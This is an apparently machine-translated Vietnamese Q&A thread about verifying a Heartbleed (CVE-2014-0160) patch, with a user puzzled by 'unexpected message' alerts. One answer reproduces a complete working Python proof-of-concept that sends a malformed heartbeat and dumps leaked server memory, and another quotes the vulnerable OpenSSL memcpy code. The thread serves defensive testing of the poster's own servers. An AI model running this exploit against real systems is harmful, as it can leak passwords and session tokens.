Tin nhắn bất ngờ


6

Tôi có nhiệm vụ xác minh bản vá phần mềm của công ty chúng tôi nhằm giải quyết vấn đề Heartbleedtấn công.

Bây giờ, tôi chắc chắn rằng phiên bản phần mềm tôi đang cố gắng khai thác sử dụng 1.0.1ethư viện OpenSSL, đây là phần mềm dễ bị tấn công. Tuy nhiên, tôi đã thử nhiều công cụ kiểm tra Heartbleed và tất cả đều nói rằng có lỗi trong phản hồi và ứng dụng của tôi có lẽ không dễ bị tấn công.

Trong quá trình thử nghiệm, công cụ CardiacArrest đã trả về:

[INFO] Connecting to 10.63.62.79:443 using TLSv1.2
[INFO] Sending ClientHello
[INFO] ServerHello received
[INFO] Sending Heartbeat
[INFO] The server received an alert. It is likely not vulnerable.
[INFO] Alert Level: fatal
[INFO] Alert Description: Unexpected message (see RFC 5246 section 7.2)
[INFO] Closing connection

Khi tham khảo RFC 5264 , tôi đã tìm thấy thêm thông tin về "Tin nhắn bất ngờ":

bất ngờ_message
Một tin nhắn không phù hợp đã được nhận. Cảnh báo này luôn gây tử vong và không bao giờ nên được quan sát trong giao tiếp giữa các triển khai thích hợp.

Câu hỏi:

  • Ai đó có thể làm sáng tỏ hơn về kết quả này?
  • Có thể OpenSSLđã được biên dịch mà không cần Heartbeatgia hạn?
  • Có cách nào để liệt kê các phần mở rộng được biên dịch thành OpenSSL?

Cảm ơn rất nhiều!


1
Có, OpenSSL có thể được biên dịch mà không kích hoạt Heartbeat và câu hỏi này về Bảo mật chi tiết những gì sẽ xảy ra.
Mokubai

Cảm ơn! Sau khi chạy openssl version -a, DOPENSSL_NO_HEARTBEATSkhông hiển thị trong thiết bị đầu cuối của tôi, vì vậy tôi sẽ cho rằng nó đủ để loại trừ OpenSSLđược biên dịch mà không cần Heartbeatgia hạn. Về cơ bản, phiên bản này ( 1.0.1e) chắc chắn sẽ dễ bị tổn thương, phải không?
Jovan Perovic

3
Nếu DOPENSSL_NO_HEARTBEATSkhông xuất hiện lá cờ như biên dịch Tôi đoán đó có nghĩa là OpenSSL được biên soạn với các Heartbeatphần mở rộng. 1.0.1e và tất cả các phiên bản khác bắt đầu bằng 1.0.1 chỉ dễ bị tổn thương nếu chúng được biên dịch với hỗ trợ Heartbeat.
ov1d1u

Đó là những gì nghi ngờ là tốt. Nhưng tôi không thể quản lý để tái tạo lỗ hổng trong phiên bản với OpenSSL 1.0.1e. Tôi cần một số bằng chứng làm việc rằng phiên bản phần mềm sử dụng 1.0.1elà dễ bị tổn thương và sau đó không phải là ...
Jovan Perovic

kiểm tra ngày trên phiên bản openssl của bạn (giả sử bạn sử dụng trình quản lý gói như apt). nếu sau ngày 7 tháng 7 thì bạn ổn. cũng thế này: serverfault.com/questions/587329/ và điều này: askubfox.com/questions/444702/ săn
puredevotion

Câu trả lời:


1

Trước hết, Heartbleed đã được chứng minh là có thể quét bộ nhớ tiến trình (64kB tại một thời điểm), vì vậy rất nghiêm trọng. Ngay cả khi không có điều đó, dữ liệu có thể nhìn thấy sẽ dễ dàng lộ ra những thứ như mật khẩu, mã thông báo phiên và một số thứ khác (đặc biệt là cho các ứng dụng PHP mà tôi đang xem).

Hãy nhớ rằng Hearbleed ảnh hưởng đến TLS 1.1 và 1.2, và vì vậy nếu bạn đang thử nghiệm, bạn cần chỉ định điều đó. (Tôi không thể chắc chắn nếu việc hạn chế phiên bản SSL là một giảm thiểu hữu ích; tốt nhất là vá và thay thế)

Thông báo không xác định, trong trường hợp này, rất có thể có nghĩa là bạn đã yêu cầu một tùy chọn không phù hợp (hoặc được hỗ trợ) trên máy ngang hàng. Bạn có thể nhận được điều này nếu bạn không chỉ định TLS 1.2.

Tôi đã sử dụng một công cụ Python nhỏ được tạo bởi Jared Stafford. Hướng dẫn của nó để chạy này bằng cách sử dụng watchđể xem những gì bạn có thể thấy. Nó không được liệt kê trên trang web của anh ấy, vì vậy tôi đã đưa nó vào bên dưới. Bạn sẽ muốn chạy nó bằng cách sử dụng một cái gì đó như./heartbleed --port 443 --ver 2 SERVER_IP

Tôi thấy nó hữu ích hơn để chạy như sau:

 ./heartbleed.py somewebserver.example.com -v2 | fgrep -v '................'

hoặc là:

./heartbleed.py somewebserver.example.com --port 443 -v 2 | grep 'server is vulnerable'

Tôi không có bất kỳ máy chủ nào chưa được vá để chứng minh điều này, nhưng nếu dễ bị tấn công, bạn sẽ nhận được một khối hex / ASCII của tài liệu được tìm thấy, có thể rất thú vị khi xem xét. Bạn cũng sẽ nhận được một server is vulnerabletin nhắn.

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
#
# -shirk added TLS version
# -jpicht added SMTP STARTTLS hack

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-s', '--smtp-starttls', action="store_true", dest="smtpstarttls", help='Issue SMTP STARTTLS command and wait for data')
options.add_option('-v', '--ver', type='int', default=1, help='TLS version 1 is 1.0, 2 is 1.1, 3 is 1.2 (default: 1)')

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

hbv10 = h2bin('''
18 03 01 00 03
01 40 00
''')

hbv11 = h2bin('''
18 03 02 00 03
01 40 00
''')

hbv12 = h2bin('''
18 03 03 00 03
01 40 00
''')


def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata


def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s):
    #s.send()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))

    if opts.smtpstarttls:
        print 'Sending STARTTLS...'
        sys.stdout.flush()
        s.send("STARTTLS\n")
        print 'Waiting for reply...'
        sys.stdout.flush()
        recvall(s, 100000, 1)

    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    print 'Sending heartbeat request...'
    sys.stdout.flush()
    if (opts.ver == 1):
        s.send(hbv10)
        hit_hb(s)
    if (opts.ver == 2):
        s.send(hbv11)
        hit_hb(s)
    if (opts.ver == 3):
        s.send(hbv12)
        hit_hb(s)


if __name__ == '__main__':
    main()

OK, sau vài ngày điều tra mọi góc độ tôi đã kết luận rằng phần mềm của công ty chúng tôi không dễ bị tấn công. Đối với mục đích thử nghiệm, tôi đã có thêm máy chủ và chạy và chạy mọi tiện ích kiểm tra nổi tiếng của google để xác định lỗ hổng - nhiều thử nghiệm đã chứng minh rằng máy chủ thực sự dễ bị tấn công. Ngoài ra, các tiện ích tương tự đã trả về "Thông báo máy chủ / Thông báo không xác định" khi được kiểm tra đối với máy chủ ứng dụng của chúng tôi. Carmeron, cảm ơn đã giải thích công phu và giúp đỡ về vấn đề này. Điểm thưởng cho bạn - sau tất cả, bạn đã ở đây để chỉ ra / giải thích mức độ nghiêm trọng của việc khai thác này :)
Jovan Perovic

Tuyệt vời. Vui mừng tôi có thể được giúp đỡ.
Cameron Kerr

2

Không phải mọi sản phẩm sử dụng thư viện OpenSSL dễ bị tổn thương đều tự động dễ bị Heartbeat. Đây là một lỗi lớp SSL / TLS, không phải là lỗi mã mật mã cốt lõi. Tất cả phụ thuộc vào cách sản phẩm của bạn đang sử dụng thư viện.

Bản thân lỗi không nghiêm trọng như quảng cáo, vì những gì nó gây ra sẽ gửi lại một đoạn 64KB của bộ nhớ của chương trình theo bộ đệm gửi. Đoạn này có thể hoặc không thể chứa dữ liệu bí mật. Và ngay cả khi nó có chứa dữ liệu đó, tin tặc vẫn phải cách ly nó khỏi rác xung quanh.

Có khá nhiều sản phẩm xung quanh sử dụng thư viện OpenSSL dễ bị tổn thương nhưng bản thân chúng không dễ bị tổn thương, chỉ vì chúng xử lý sai tình trạng lỗi đó (lỗi bảo vệ chống lại lỗi). Sản phẩm của bạn có thể là một trong số đó.

Bạn nên cài đặt một số sniffer dòng như Wireshark và quan sát gói tin nhắn Heartbeat và câu trả lời của nó. Nếu câu trả lời rất dài, tiếp cận 64KB, thì sản phẩm của bạn dễ bị tấn công. Nếu nó ngắn, tuy nhiên nó là sai, thì bạn không dễ bị tổn thương.

Tất nhiên, giải pháp tốt nhất là vá thư viện OpenSSL.

Thông tin chân thành

Một lời giải thích tốt về lỗi này có thể được tìm thấy trong bài viết Giải phẫu của HeartSSed của OpenSSL :

Đau lòng

Mã C trong OpenSSL gây ra lỗi là:

/* Enter response type, length and copy payload */
*bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpy(bp, pl, payload);

Mã này được cố định bằng một kiểm tra đơn giản về tải trọng biến trước cuộc gọi memcpy (chức năng sao chép bộ nhớ).

Chỉ 64KB theo thông điệp được xây dựng được gửi. Bản thân thông điệp được phân bổ trong bộ nhớ, có lẽ là do hàm malloc (), do đó có thể không phải lúc nào cũng được đặt tại cùng một địa chỉ. Tuy nhiên, có những giới hạn mà dữ liệu có thể được trích xuất.

Điều này có nghĩa là những câu chuyện về việc đọc toàn bộ bộ nhớ quá trình thông qua lỗi này chỉ là những câu chuyện đáng sợ, mặc dù với một chút khả năng kẻ tấn công có thể may mắn thoát ra và có được dữ liệu rất nhạy cảm. Tất cả phụ thuộc vào cách sản phẩm bị tấn công được lập trình và bố trí bộ nhớ chính xác của nó.


Tôi không nghĩ câu trả lời này cho bất kỳ câu hỏi nào của anh ấy;) Vâng, có thể là câu hỏi đầu tiên. Nhưng thông tin tốt của nó cho người đọc bình thường.
jww
Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.